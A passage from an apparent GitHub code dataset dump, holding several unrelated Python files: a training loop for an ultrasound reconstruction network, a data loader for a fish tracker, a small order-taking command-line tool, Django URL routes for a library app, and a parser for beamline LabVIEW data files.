tools.params2corner_pts(params=gen_param, cam_cali_mat=calib_mat[sample_id, :, :])\n gt_pts = tools.params2corner_pts(params=gt_param, cam_cali_mat=calib_mat[sample_id, :, :])\n\n sample_error = tools.evaluate_dist(pts1=gt_pts, pts2=result_pts)\n batch_errors.append(sample_error)\n\n batch_errors = np.asarray(batch_errors)\n\n avg_batch_error = np.asarray(np.mean(batch_errors))\n error_tensor = torch.tensor(avg_batch_error, requires_grad=True)\n error_tensor = error_tensor.type(torch.FloatTensor)\n error_tensor = error_tensor.to(device)\n error_tensor = error_tensor * 0.99\n # print('disloss device {}'.format(device))\n # print(error_tensor)\n # time.sleep(30)\n return error_tensor\n\n\n\n\n if args.output_type == 'average_dof':\n labels = np.expand_dims(labels, axis=1)\n labels = np.repeat(labels, args.neighbour_slice - 1, axis=1)\n outputs = np.expand_dims(outputs, axis=1)\n outputs = np.repeat(outputs, args.neighbour_slice - 1, axis=1)\n else:\n labels = np.reshape(labels, (labels.shape[0], labels.shape[1] // 6, 6))\n outputs = np.reshape(outputs, (outputs.shape[0], outputs.shape[1] // 6, 6))\n # print('labels_after\\n{}'.format(labels.shape))\n # print('outputs\\n{}'.format(outputs.shape))\n # time.sleep(30)\n\n batch_errors = []\n final_drifts = []\n for sample_id in range(labels.shape[0]):\n gen_param_results = []\n gt_param_results = []\n for neighbour in range(labels.shape[1]):\n if neighbour == 0:\n base_param_gen = start_params[sample_id, :]\n base_param_gt = start_params[sample_id, :]\n else:\n base_param_gen = gen_param_results[neighbour - 1]\n base_param_gt = gt_param_results[neighbour - 1]\n gen_dof = outputs[sample_id, neighbour, :]\n gt_dof = labels[sample_id, neighbour, :]\n gen_param = tools.get_next_pos(trans_params1=base_param_gen, dof=gen_dof,\n cam_cali_mat=calib_mat[sample_id, :, :])\n gt_param = tools.get_next_pos(trans_params1=base_param_gt, dof=gt_dof,\n cam_cali_mat=calib_mat[sample_id, :, :])\n gen_param_results.append(gen_param)\n gt_param_results.append(gt_param)\n gen_param_results = np.asarray(gen_param_results)\n gt_param_results = np.asarray(gt_param_results)\n # print('gen_param_results shape {}'.format(gen_param_results.shape))\n\n result_pts = tools.params2corner_pts(params=gen_param_results, cam_cali_mat=calib_mat[sample_id, :, :])\n gt_pts = tools.params2corner_pts(params=gt_param_results, cam_cali_mat=calib_mat[sample_id, :, :])\n # print(result_pts.shape, gt_pts.shape)\n # time.sleep(30)\n\n results_final_vec = np.mean(result_pts[-1, :, :], axis=0)\n gt_final_vec = np.mean(gt_pts[-1, :, :], axis=0)\n final_drift = np.linalg.norm(results_final_vec - gt_final_vec) * 0.2\n final_drifts.append(final_drift)\n # print(results_final_vec, gt_final_vec)\n # print(final_drift)\n # time.sleep(30)\n\n sample_error = tools.evaluate_dist(pts1=gt_pts, pts2=result_pts)\n batch_errors.append(sample_error)\n\n batch_errors = np.asarray(batch_errors)\n avg_batch_error = np.asarray(np.mean(batch_errors))\n\n error_tensor = torch.tensor(avg_batch_error, requires_grad=True)\n error_tensor = error_tensor.type(torch.FloatTensor)\n error_tensor = error_tensor.to(device)\n error_tensor = error_tensor * 0.99\n # print('disloss device {}'.format(device))\n # print(error_tensor)\n # time.sleep(30)\n\n avg_final_drift = np.asarray(np.mean(np.asarray(final_drifts)))\n final_drift_tensor = torch.tensor(avg_final_drift, requires_grad=True)\n final_drift_tensor = final_drift_tensor.type(torch.FloatTensor)\n final_drift_tensor = final_drift_tensor.to(device)\n final_drift_tensor = final_drift_tensor * 0.99\n return error_tensor, final_drift_tensor\n\n\ndef get_correlation_loss(labels, outputs):\n # print('labels shape {}, outputs shape {}'.format(labels.shape, outputs.shape))\n x = outputs.flatten()\n y = labels.flatten()\n # print('x shape {}, y shape {}'.format(x.shape, y.shape))\n # print('x shape\\n{}\\ny shape\\n{}'.format(x, y))\n xy = x * y\n mean_xy = torch.mean(xy)\n mean_x = torch.mean(x)\n mean_y = torch.mean(y)\n cov_xy = mean_xy - mean_x * mean_y\n # print('xy shape {}'.format(xy.shape))\n # print('xy {}'.format(xy))\n # print('mean_xy {}'.format(mean_xy))\n # print('cov_xy {}'.format(cov_xy))\n\n var_x = torch.sum((x - mean_x) ** 2 / x.shape[0])\n var_y = torch.sum((y - mean_y) ** 2 / y.shape[0])\n # print('var_x {}'.format(var_x))\n\n corr_xy = cov_xy / (torch.sqrt(var_x * var_y))\n # print('correlation_xy {}'.format(corr_xy))\n\n loss = 1 - corr_xy\n # time.sleep(30)\n # x = output\n # y = target\n #\n # vx = x - torch.mean(x)\n # vy = y - torch.mean(y)\n #\n # loss = torch.sum(vx * vy) / (torch.sqrt(torch.sum(vx ** 2)) * torch.sqrt(torch.sum(vy ** 2)))\n # print('correlation loss {}'.format(loss))\n # time.sleep(30)\n return loss\n\n\n\n#\n\n# ----- #\ndef _get_random_value(r, center, hasSign):\n randNumber = random.random() * r + center\n\n\n if hasSign:\n sign = random.random() > 0.5\n if sign == False:\n randNumber *= -1\n\n return randNumber\n\n\n# ----- #\ndef get_array_from_itk_matrix(itk_mat):\n mat = np.reshape(np.asarray(itk_mat), (3, 3))\n return mat\n\n\n# ----- #\ndef create_transform(aX, aY, aZ, tX, tY, tZ, mat_base=None):\n if mat_base is None:\n mat_base = np.identity(3)\n\n t_all = np.asarray((tX, tY, tZ))\n\n # Get the transform\n rotX = sitk.VersorTransform((1, 0, 0), aX / 180.0 * np.pi)\n matX = get_array_from_itk_matrix(rotX.GetMatrix())\n #\n rotY = sitk.VersorTransform((0, 1, 0), aY / 180.0 * np.pi)\n matY = get_array_from_itk_matrix(rotY.GetMatrix())\n #\n rotZ = sitk.VersorTransform((0, 0, 1), aZ / 180.0 * np.pi)\n matZ = get_array_from_itk_matrix(rotZ.GetMatrix())\n\n # Apply all the rotations\n mat_all = matX.dot(matY.dot(matZ.dot(mat_base[:3, :3])))\n\n return mat_all, t_all\n\n\ndef train_model(model, criterion, optimizer, scheduler, fn_save, num_epochs=25):\n since = time.time()\n\n lowest_loss = 2000\n lowest_dist = 2000\n best_ep = 0\n tv_hist = {'train': [], 'val': []}\n # print('trainmodel device {}'.format(device))\n\n for epoch in range(num_epochs):\n global current_epoch\n current_epoch = epoch + 1\n\n # Each epoch has a training and validation phase\n for phase in ['train', 'val']:\n # print('Network is in {}...'.format(phase))\n\n if phase == 'train':\n scheduler.step()\n model.train() # Set model to training mode\n else:\n model.eval() # Set model to evaluate mode\n\n running_loss = 0.0\n running_dist = 0.0\n running_corr = 0.0\n # running_corrects = 0\n\n # Iterate over data.\n for inputs, labels, case_id, start_params, calib_mat in dataloaders[phase]:\n # Get images from inputs\n # print('*'*10 + ' printing inputs and labels ' + '*'*10)\n labels = labels.type(torch.FloatTensor)\n inputs = inputs.type(torch.FloatTensor)\n # base_mat = base_mat.type(torch.FloatTensor)\n # img_id = img_id.type(torch.FloatTensor)\n labels = labels.to(device)\n inputs = inputs.to(device)\n # base_mat = base_mat.to(device)\n # img_id = img_id.to(device)\n\n labels.require_grad = True\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n # track history if only in train\n with torch.set_grad_enabled(phase == 'train'):\n # print('inputs shape {}'.format(inputs.shape))\n # print('labels shape {}'.format(labels.shape))\n # time.sleep(30)\n outputs = model(inputs)\n # print('outputs shape {}'.format(outputs.shape))\n # time.sleep(30)\n\n\n '''Weighted MSE loss function'''\n # my_weight = torch.Tensor([0.5/4,0.5/2,0.5/2,0.5/4,0.5/4,0.5/4]).cuda()\n # loss = weighted_mse_loss(input=outputs, target=labels, weights=my_weight)\n # loss_weight = torch.Tensor([1, 1, 1, 1, 0, 0]).cuda().to(device)\n # loss = weighted_mse_loss(input=outputs, target=labels, weights=loss_weight)\n\n # print('outputs type {}, labels type {}'.format(outputs.dtype, labels.type))\n dist_loss, drift_loss = get_dist_loss(labels=labels, outputs=outputs,\n start_params=start_params, calib_mat=calib_mat)\n corr_loss = get_correlation_loss(labels=labels, outputs=outputs)\n # corr_loss = loss_functions.get_correlation_loss(labels=labels,\n # outputs=outputs,\n # dof_based=True)\n # print('corr_loss {:.5f}'.format(corr_loss))\n # print('dist_loss {:.5f}'.format(dist_loss))\n # time.sleep(30)\n\n loss = criterion(outputs, labels)\n\n # loss = loss_functions.dof_MSE(labels=labels, outputs=outputs,\n # criterion=criterion, dof_based=True)\n\n # loss = loss + drift_loss\n hybrid_loss = loss + corr_loss\n # hybrid_loss = loss\n # print('loss {:.5f}'.format(loss))\n # print('m_dist {:.5f}'.format(m_dist))\n # time.sleep(30)\n\n # backward + optimize only if in training phase\n if phase == 'train':\n # loss.backward()\n hybrid_loss.backward()\n # dist.backward()\n optimizer.step()\n # print('update loss')\n # time.sleep(30)\n # statistics\n # running_loss += loss.item() * inputs.size(0)\n # running_loss += loss.data.mean() * inputs.size(0)\n running_loss += hybrid_loss.data.mean() * inputs.size(0)\n running_dist += dist_loss.item() * inputs.size(0)\n running_corr += corr_loss.item() * inputs.size(0)\n\n epoch_loss = running_loss / dataset_sizes[phase]\n epoch_dist = running_dist / dataset_sizes[phase]\n epoch_corr = running_corr / dataset_sizes[phase]\n # print('epoch_dist {}'.format(epoch_dist))\n\n tv_hist[phase].append([epoch_loss, epoch_dist, epoch_corr])\n\n # deep copy the model\n # if (phase == 'val' and epoch_loss <= lowest_loss) or current_epoch % 10 == 0:\n if phase == 'val' and epoch_loss <= lowest_loss:\n # if phase == 'val' and epoch_dist <= lowest_dist:\n lowest_loss = epoch_loss\n # lowest_dist = epoch_dist\n best_ep = epoch\n torch.save(model.state_dict(), fn_save)\n # print('**** best model updated with dist={:.4f} ****'.format(lowest_dist))\n print('**** best model updated with loss={:.4f} ****'.format(lowest_loss))\n\n update_info(best_epoch=best_ep+1, current_epoch=epoch+1, lowest_val_TRE=lowest_loss)\n print('{}/{}: Tl: {:.4f}, Vl: {:.4f}, Td: {:.4f}, Vd: {:.4f}, Tc: {:.4f}, Vc: {:.4f}'.format(\n epoch + 1, num_epochs,\n tv_hist['train'][-1][0],\n tv_hist['val'][-1][0],\n tv_hist['train'][-1][1],\n tv_hist['val'][-1][1],\n tv_hist['train'][-1][2],\n tv_hist['val'][-1][2])\n )\n # time.sleep(30)\n training_progress[epoch][0] = tv_hist['train'][-1][0]\n training_progress[epoch][1] = tv_hist['val'][-1][0]\n training_progress[epoch][2] = tv_hist['train'][-1][1]\n training_progress[epoch][3] = tv_hist['val'][-1][1]\n np.savetxt(txt_path, training_progress)\n\n time_elapsed = time.time() - since\n print('*' * 10 + 'Training complete in {:.0f}m {:.0f}s'.format(\n time_elapsed // 60, time_elapsed % 60))\n print('*' * 10 + 'Lowest val TRE: {:4f} at epoch {}'.format(lowest_dist, best_ep))\n print()\n\n return tv_hist\n\ndef save_info():\n file = open('data/experiment_diary/{}.txt'.format(now_str), 'a+')\n file.write('Time_str: {}\\n'.format(now_str))\n # file.write('Initial_mode: {}\\n'.format(args.init_mode))\n file.write('Training_mode: {}\\n'.format(args.training_mode))\n file.write('Model_filename: {}\\n'.format(args.model_filename))\n file.write('Device_no: {}\\n'.format(args.device_no))\n file.write('Epochs: {}\\n'.format(args.epochs))\n file.write('Network_type: {}\\n'.format(args.network_type))\n file.write('Learning_rate: {}\\n'.format(args.learning_rate))\n file.write('Neighbour_slices: {}\\n'.format(args.neighbour_slice))\n file.write('Infomation: {}\\n'.format(args.information))\n file.write('Best_epoch: 0\\n')\n file.write('Val_loss: {:.4f}\\n'.format(1000))\n file.close()\n print('Information has been saved!')\n\ndef update_info(best_epoch, current_epoch, lowest_val_TRE):\n readFile = open('data/experiment_diary/{}.txt'.format(now_str))\n lines = readFile.readlines()\n readFile.close()\n\n file = open('data/experiment_diary/{}.txt'.format(now_str), 'w')\n file.writelines([item for item in lines[:-2]])\n file.write('Best_epoch: {}/{}\\n'.format(best_epoch, current_epoch))\n file.write('Val_loss: {:.4f}'.format(lowest_val_TRE))\n file.close()\n print('Info updated in {}!'.format(now_str))\n\n\nif __name__ == '__main__':\n # data_dir = path.join('/home/guoh9/tmp/US_vid_frames')\n # results_dir = path.join('/home/guoh9/tmp/US_vid_frames')\n\n data_dir = path.join(zion_common, 'US_recon/US_vid_frames')\n pos_dir = path.join(zion_common, 'US_recon/US_vid_pos')\n uronav_dir = path.join(zion_common, 'uronav_data')\n\n train_ids = np.loadtxt('infos/train_ids.txt')\n val_ids = np.loadtxt('infos/val_ids.txt')\n clean_ids = {'train': train_ids, 'val': val_ids}\n\n if 'arc' == hostname:\n results_dir = '/home/guoh9/US_recon/results'\n else:\n results_dir = path.join(zion_common, 'US_recon/results')\n\n init_mode = args.init_mode\n network_type = args.network_type\n print('Transform initialization mode: {}'.format(init_mode))\n print('Training mode: {}'.format(args.training_mode))\n\n image_datasets = {x: FreehandUS4D(os.path.join(data_dir, x), init_mode)\n for x in ['train', 'val']}\n print('image_dataset\\n{}'.format(image_datasets))\n # time.sleep(30)\n\n dataloaders = {x: torch.utils.data.DataLoader(image_datasets[x],\n batch_size=batch_size,\n shuffle=True,\n num_workers=0)\n for x in ['train', 'val']}\n\n dataset_sizes = {x: len(image_datasets[x]) for x in ['train', 'val']}\n\n print('Number of training samples: {}'.format(dataset_sizes['train']))\n print('Number of validation samples: {}'.format(dataset_sizes['val']))\n\n model_folder = '/zion/guoh9/US_recon/results'\n model_path = path.join(model_folder, '3d_best_Generator_{}.pth'.format(pretrain_model_str)) # 10\n # model_ft = define_model(model_type=network_type, pretrained_path=model_path)\n model_ft = define_model(model_type=network_type)\n\n # criterion = nn.CrossEntropyLoss()\n criterion = nn.MSELoss()\n # criterion = nn.()\n # criterion = nn.L1Loss()\n\n # mahalanobis_dist = mahalanobis.MahalanobisMetricLoss()\n\n if args.training_mode == 'finetune':\n # overwrite the learning rate for finetune\n lr = 5e-6\n print('Learning rate is overwritten to be {}'.format(lr))\n else:\n lr = args.learning_rate\n print('Learning rate = {}'.format(lr))\n\n optimizer = optim.Adam(model_ft.parameters(), lr=lr)\n # optimizer = optim.Adagrad(model_ft.parameters(), lr=1)\n # optimizer = optim.SGD(model_ft.parameters(), lr=lr)\n\n exp_lr_scheduler = lr_scheduler.StepLR(optimizer, step_size=5, gamma=0.8)\n\n now = datetime.now()\n now_str = now.strftime('%m%d-%H%M%S')\n\n save_info()\n\n # Train and evaluate\n fn_best_model = path.join(results_dir, '3d_best_{}_{}.pth'.format(net, now_str))\n print('Start training...')\n print('This model is <3d_best_{}_{}_{}.pth>'.format(net, now_str, init_mode))\n txt_path = path.join(results_dir, 'training_progress_{}_{}.txt'.format(net, now_str))\n hist_ft = train_model(model_ft,\n criterion,\n optimizer,\n exp_lr_scheduler,\n fn_best_model,\n num_epochs=epochs)\n\n # fn_hist = os.path.join(results_dir, 'hist_{}_{}_{}.npy'.format(net, now_str, init_mode))\n # np.save(fn_hist, hist_ft)\n\n np.savetxt(txt_path, training_progress)\n\n now = datetime.now()\n now_stamp = now.strftime('%Y-%m-%d %H:%M:%S')\n print('#' * 15 + ' Training {} completed at {} '.format(init_mode, now_stamp) + '#' * 15)\n","repo_name":"DIAL-RPI/FreehandUSRecon","sub_path":"train_network.py","file_name":"train_network.py","file_ext":"py","file_size_in_byte":35359,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"75"} +{"seq_id":"41315776579","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 6 12:50:18 2019\n\n@author: Brent\n\"\"\"\nimport numpy as np\n\n\ndef getDataFromFile(filePath, fileType=\"csv\"):\n if fileType == \"csv\":\n try: \n array = np.loadtxt(filePath + \".csv\",delimiter=',')\n middle = np.max(array[:,2])/2\n if array[0,0] == 1000:\n middle = array[0,1]\n array = array[1:]\n print(\"center at \",middle)\n return array, middle\n except:\n return \"couldn't load file\"\n \n elif fileType == \"txt\":\n try: \n array= np.loadtxt(filePath + \".txt\", delimiter='\\t', usecols=(0, 1, 2))\n x = np.where(array[:,1] == -1)\n x = np.array(x)\n x = x.flatten()\n array = np.delete(array,x,0)\n yMax = np.max(array[:,2])\n array[:,2] = yMax - array[:,2]\n print(\"Center at \",np.max(array[:,2])/2)\n return array, np.max(array[:,2])/2\n except:\n return \"couldn't load file\"\n else:\n return \"Invalid Data Type\"\n#getDataFromFile('testes.csv','csv')","repo_name":"gvargas3/fish-tracker","sub_path":"Python/fileManipulation.py","file_name":"fileManipulation.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2471961306","text":"import typer\nfrom llm import session, Order\n\napp = typer.Typer()\n\n@app.callback()\ndef callback():\n \"\"\"\n Welcome to the LLM command line tool!\n \"\"\"\n\n@app.command(\"create_order\")\ndef create_order(orgin: str, destination: str):\n \"\"\"\n Create an order\n \"\"\"\n try:\n order = Order()\n order.origin = orgin\n order.destination = destination\n order.taken = False\n\n session.add(order)\n session.commit()\n\n session.refresh(order)\n typer.echo(order.id)\n except:\n session.rollback()\n finally:\n session.close()\n\n@app.command(\"list_orders\")\ndef list_orders():\n \"\"\"\n List all orders that haven't been taken\n \"\"\"\n try:\n orders = session.query(Order).filter(Order.taken==False).all()\n for order in orders:\n typer.echo(str(order.id) + \",\" + order.origin + \",\" + order.destination)\n finally:\n session.close()\n\n@app.command(\"take_order\")\ndef take_order(id: str):\n \"\"\"\n Take order - based on ID\n \"\"\"\n try:\n orderTaken = session.query(Order.taken).filter(Order.id == id).first()\n if orderTaken is None:\n typer.echo(\"order does not exist\")\n raise typer.Exit(code=2)\n else:\n if (orderTaken[0]):\n typer.echo(\"order already taken\")\n raise typer.Exit(code=1)\n else:\n session.query(Order).filter(Order.id == id).update({Order.taken: True})\n\n session.commit()\n except:\n session.rollback()\n finally:\n session.close()\n","repo_name":"nikil9865/LALAMOVE-Graduate-Tech-Challenge-21","sub_path":"llm/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73231791602","text":"from django.urls import path\n\nfrom .views import *\n# \n\napp_name = 'website'\n\nfrom django.contrib.auth import views as auth_views\n\nurlpatterns = [\n path('',home,name='home'),\n path('logout/',user_logout,name='logout'),\n path('register/',register,name='register'),\n path('record/<int:pk>',book_detail,name='book_detail'),\n path('std/<int:pk>',std_detail,name='std_detail'),\n path('delete/<int:pk>',delete_record,name='delete_record'),\n path('update/<int:pk>',update_record,name='update_record'),\n path('new/', add_record, name='add_record'),\n path('register_student',register_student,name='register_student'),\n # path('student_login',student_login,name='student_login'),\n path('std_dash/<int:pk>',stu_dash,name='std_dash'),\n\n path('student_login/', custom_login, name='student_login'),\n path('logout/', auth_views.LogoutView.as_view(), name='logout'),\n path('search/', search, name='search'),\n path('detail/<str:type>/<int:id>/', detail, name='detail'),\n]\n","repo_name":"Demo-23home/ITI_Final-Library_Managemet_System","sub_path":"website/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18148404294","text":"\"\"\"\nUse with server configuration like this:\n\n# config.yml\ntrees:\n - path: \"/\"\n tree: aimm_readers.heald_labview:HealdLabViewTree\n args:\n directory: path/to/files # your directory here\n\nand start a server like this:\n\ntiled serve config config.yml\n\"\"\"\n\nimport os\nfrom collections import defaultdict\nfrom enum import Enum\nfrom pathlib import Path\n\nimport pandas as pd\nimport xraydb\nfrom tiled.adapters.dataframe import DataFrameAdapter\nfrom tiled.adapters.mapping import MapAdapter\nfrom tiled.server.object_cache import with_object_cache\n\n_EDGE_ENERGY_DICT = {\n xraydb.atomic_symbol(i): [i, xraydb.xray_edges(i)] for i in range(1, 99)\n}\n\n\ndef mangle_dup_names(names):\n d = defaultdict(int)\n\n out = []\n\n for x in names:\n count = d[x]\n if count == 0:\n out.append(x)\n else:\n out.append(f\"{x}.{count}\")\n d[x] += 1\n\n return out\n\n\nclass ParsingCase(Enum):\n column = 1\n user = 2\n scan = 3\n amplifier = 4\n analog = 5\n mono = 6\n id_info = 7\n slit = 8\n motor = 9\n panel = 10\n beamline = 11\n xia = 12\n shutter = 13\n\n\ndef parse_heald_labview(file, no_device=False):\n lines = file.readlines()\n\n parsing_case = 0\n headers = []\n data = []\n comment_lines = []\n meta_dict = {}\n first_line = True\n\n for line in lines:\n line = line.rstrip()\n # Parse comments as metadata\n if line[0] == \"#\":\n if len(line) > 2:\n # The next line after the Column Headinds tag is the only line\n # that does not include a white space after the comment/hash symbol\n if parsing_case == ParsingCase.column or first_line:\n line = line[1:]\n first_line = False\n else:\n line = line[2:]\n\n # Add additional cases to parse more information from the\n # header comments\n # Start reading the name of the upcoming block of information\n\n if line == \"Column Headings:\":\n parsing_case = ParsingCase.column # Create headers for dataframe\n continue\n elif line == \"User Comment:\":\n comment_lines = []\n parsing_case = ParsingCase.user\n continue\n elif line == \"Scan config:\":\n comment_lines = []\n parsing_case = ParsingCase.scan\n continue\n elif line == \"Amplifier Sensitivities:\":\n comment_lines = []\n parsing_case = ParsingCase.amplifier\n continue\n elif line.find(\"Analog Input Voltages\") != -1:\n comment_lines = []\n parsing_case = ParsingCase.analog\n continue\n elif line == \"Mono Info:\":\n comment_lines = []\n parsing_case = ParsingCase.mono\n continue\n elif line == \"ID Info:\":\n comment_lines = []\n parsing_case = ParsingCase.id_info\n continue\n elif line == \"Slit Info:\":\n comment_lines = []\n parsing_case = ParsingCase.slit\n continue\n elif line == \"Motor Positions:\":\n comment_lines = []\n parsing_case = ParsingCase.motor\n continue\n elif line.find(\"LabVIEW Control Panel\") != -1:\n comment_lines = []\n parsing_case = ParsingCase.panel\n elif line.find(\"Beamline\") != -1:\n parsing_case = ParsingCase.beamline\n elif line.find(\"XIA Filters:\") != -1:\n parsing_case = ParsingCase.xia\n continue\n elif line.find(\"XIA Shutter Unit:\") != -1:\n parsing_case = ParsingCase.shutter\n continue\n\n # Reads the following lines to parse a block of information\n # with a specific format\n if parsing_case == ParsingCase.column:\n line = line.replace(\"*\", \" \")\n line = line.replace(\"tempeXMAP4\", \"tempe XMAP4\")\n line = line.replace(\"scatter_Sum XMAP4\", \"scatter_Sum XMAP4\")\n line = line.replace(\"Stats1:TS20-\", \"Stats1:T S20-\")\n\n if not no_device:\n headers = [term.lstrip() for term in line.split(\" \") if term]\n else:\n for term in line.split(\" \"):\n if term:\n term = term.lstrip()\n index_list = find_char_indexes(term, \":\")\n if len(index_list) == 0:\n headers.append(term)\n else:\n lower_dev_names = set([\"pncaux\", \"pncid\"])\n if (\n term[: index_list[0]].isupper()\n or term[: index_list[0]] in lower_dev_names\n ):\n temp_term = term[\n index_list[0] + 1 : # noqa: E203\n ]\n else:\n temp_term = term[: index_list[-1]]\n headers.append(temp_term)\n\n meta_dict[\"columns\"] = headers\n parsing_case = 0\n elif parsing_case == ParsingCase.user:\n line = \" \".join(line.split()) # Remove unwanted white spaces\n comment_lines.append(line)\n meta_dict[\"user_comment\"] = comment_lines\n elif parsing_case == ParsingCase.scan:\n line = \" \".join(line.split()) # Remove unwanted white spaces\n comment_lines.append(line)\n meta_dict[\"scan_config\"] = comment_lines\n elif parsing_case == ParsingCase.amplifier:\n comment_lines = line.split(\" \")\n amplifier_dict = {}\n for element in comment_lines:\n key, value = element.split(\": \", 1)\n amplifier_dict[key] = value\n meta_dict[\"amplifier_sensitivities\"] = amplifier_dict\n elif parsing_case == ParsingCase.analog:\n comment_lines = line.split(\" \")\n analog_dict = {}\n for element in comment_lines:\n key, value = element.split(\": \", 1)\n analog_dict[key] = value\n meta_dict[\"analog_input_voltages\"] = analog_dict\n elif parsing_case == ParsingCase.mono:\n comment_lines = line.split(\"; \")\n mono_dict = {}\n for element in comment_lines:\n key, value = element.split(\": \", 1)\n mono_dict[key] = value\n meta_dict[\"mono_info\"] = mono_dict\n elif parsing_case == ParsingCase.id_info:\n comment_lines = line.split(\" \")\n meta_dict[\"id_info\"] = comment_lines\n elif parsing_case == ParsingCase.slit:\n comment_lines.append(line)\n meta_dict[\"slit_info\"] = comment_lines\n elif parsing_case == ParsingCase.motor:\n comment_lines.append(line)\n meta_dict[\"motor_positions\"] = comment_lines\n elif parsing_case == ParsingCase.panel:\n comment_lines = line.split(\"; \")\n meta_dict[\"file\"] = comment_lines\n elif parsing_case == ParsingCase.beamline:\n meta_dict[\"beamline\"] = line\n elif parsing_case == ParsingCase.xia:\n line = line.replace(\"OUT\", \"OUT \")\n comment_lines = line.split(\" \")\n xia_dict = {}\n for element in comment_lines:\n key, value = element.split(\": \", 1)\n xia_dict[key] = value\n meta_dict[\"xia_filter\"] = xia_dict\n elif parsing_case == ParsingCase.shutter:\n line = line.replace(\"OUT\", \"OUT \")\n comment_lines = line.split(\" \")\n shutter_dict = {}\n for element in comment_lines:\n key, value = element.split(\": \", 1)\n shutter_dict[key] = value\n meta_dict[\"xia_shutter_unit\"] = shutter_dict\n else:\n parsing_case = 0\n continue\n # Parse data\n else:\n line = \" \".join(line.split()) # Remove unwanted white spaces\n sample = line.split()\n sample = list(map(float, sample))\n data.append(sample)\n\n headers = mangle_dup_names(headers)\n df = pd.DataFrame(data, columns=headers)\n\n return df, meta_dict\n\n\ndef find_char_indexes(word, char):\n return [i for i, val in enumerate(word) if val == char]\n\n\ndef build_reader(filepath, no_device=False):\n with open(filepath) as file:\n df, metadata = parse_heald_labview(file, no_device)\n if df.empty:\n return None\n return DataFrameAdapter.from_pandas(df, metadata=metadata, npartitions=1)\n\n\ndef complete_build_reader(filepath, no_device=False):\n with open(filepath) as file:\n df, metadata = parse_heald_labview(file, no_device)\n if df.empty:\n return None\n\n std_df, changed_columns = normalize_dataframe(df, standardize=True)\n if std_df is None:\n return DataFrameAdapter.from_pandas(df, metadata=metadata, npartitions=1)\n else:\n metadata[\"columns\"] = list(std_df.columns)\n element_name, edge_symbol = parse_element_name(filepath, std_df, metadata)\n\n metadata[\"element\"] = {\"symbol\": element_name, \"edge\": edge_symbol}\n metadata[\"common\"] = {\n \"element\": {\"symbol\": element_name, \"edge\": edge_symbol}\n }\n metadata[\"translation\"] = changed_columns\n\n return DataFrameAdapter.from_pandas(std_df, metadata=metadata, npartitions=1)\n\n\ndef is_candidate(filename):\n filename_ext = filename.split(\".\")\n return filename_ext[-1].isnumeric()\n\n\ndef iter_subdirectory(mapping, path, normalize=False):\n experiment_group = {}\n filepaths = sorted(path.iterdir())\n for i in range(len(filepaths)):\n if filepaths[i].name.startswith(\".\"):\n # Skip hidden files.\n continue\n if not filepaths[i].is_file():\n # Explore subfolder for more labview files recursively\n sub_mapping = {}\n sub_mapping = iter_subdirectory(sub_mapping, filepaths[i], normalize)\n if sub_mapping:\n mapping[filepaths[i].name] = MapAdapter(sub_mapping)\n continue\n if filepaths[i].suffix[1:].isnumeric():\n if filepaths[i].stem not in experiment_group:\n experiment_group[filepaths[i].stem] = {}\n if not normalize:\n mapping[filepaths[i].stem] = MapAdapter(\n experiment_group[filepaths[i].stem]\n )\n if normalize:\n norm_node = NormalizedReader(filepaths[i])\n if not norm_node.is_empty():\n experiment_group[filepaths[i].stem][\n filepaths[i].name\n ] = norm_node.read()\n else:\n cache_key = (Path(__file__).stem, filepaths[i])\n end_node = with_object_cache(cache_key, build_reader, filepaths[i])\n if end_node is not None:\n experiment_group[filepaths[i].stem][filepaths[i].name] = end_node\n\n # For a normalized tree, experiments files are grouped, filtered and saved\n # temporarily. Once all files of one experiment are read, it checks if there\n # are remaining files that passed the filtering phase. The result is saved in\n # the main tree. This avoids the generation of empty nodes in the final version\n # of the tree.\n if normalize:\n if filepaths[i].stem in experiment_group:\n if i == len(filepaths) - 1:\n if len(experiment_group[filepaths[i].stem]) != 0:\n mapping[filepaths[i].stem] = MapAdapter(\n experiment_group[filepaths[i].stem]\n )\n elif filepaths[i].stem != filepaths[i + 1].stem:\n if len(experiment_group[filepaths[i].stem]) != 0:\n mapping[filepaths[i].stem] = MapAdapter(\n experiment_group[filepaths[i].stem]\n )\n\n return mapping\n\n\ndef complete_tree_iter_subdirectory(mapping, path):\n # This method takes the two strategies implemented in iter_subdirectory() but it creates one single\n # tree instead with the information of both versions when it is available.\n experiment_group = {}\n filepaths = sorted(path.iterdir())\n for i in range(len(filepaths)):\n if filepaths[i].name.startswith(\".\"):\n # Skip hidden files.\n continue\n if not filepaths[i].is_file():\n # Explore subfolder for more labview files recursively\n sub_mapping = {}\n sub_mapping = complete_tree_iter_subdirectory(sub_mapping, filepaths[i])\n if sub_mapping:\n mapping[filepaths[i].name] = MapAdapter(sub_mapping)\n continue\n if filepaths[i].suffix[1:].isnumeric():\n if filepaths[i].stem not in experiment_group:\n experiment_group[filepaths[i].stem] = {}\n mapping[filepaths[i].stem] = MapAdapter(\n experiment_group[filepaths[i].stem]\n )\n\n cache_key = (Path(__file__).stem, filepaths[i])\n end_node = with_object_cache(cache_key, complete_build_reader, filepaths[i])\n if end_node is not None:\n experiment_group[filepaths[i].stem][filepaths[i].name] = end_node\n\n return mapping\n\n\ndef subdirectory_handler(path):\n mapping = {}\n heald_tree = MapAdapter(mapping)\n mapping = iter_subdirectory(mapping, path)\n return heald_tree\n\n\ndef normalized_subdirectory_handler(path):\n mapping = {}\n heald_tree = MapAdapter(mapping)\n mapping = iter_subdirectory(mapping, path, normalize=True)\n return heald_tree\n\n\ndef complete_subdirectory_handler(path):\n # Added a new method that combines the structures of a raw and XDI tree into one single tree\n mapping = {}\n heald_tree = MapAdapter(mapping)\n mapping = complete_tree_iter_subdirectory(mapping, path)\n return heald_tree\n\n\ndef normalize_dataframe(df, standardize=False):\n energy = \"Mono Energy\"\n keywords = {\n \"time\": [\"Scaler preset time\", \"None\"],\n \"i0\": [\"I0\", \"IO\", 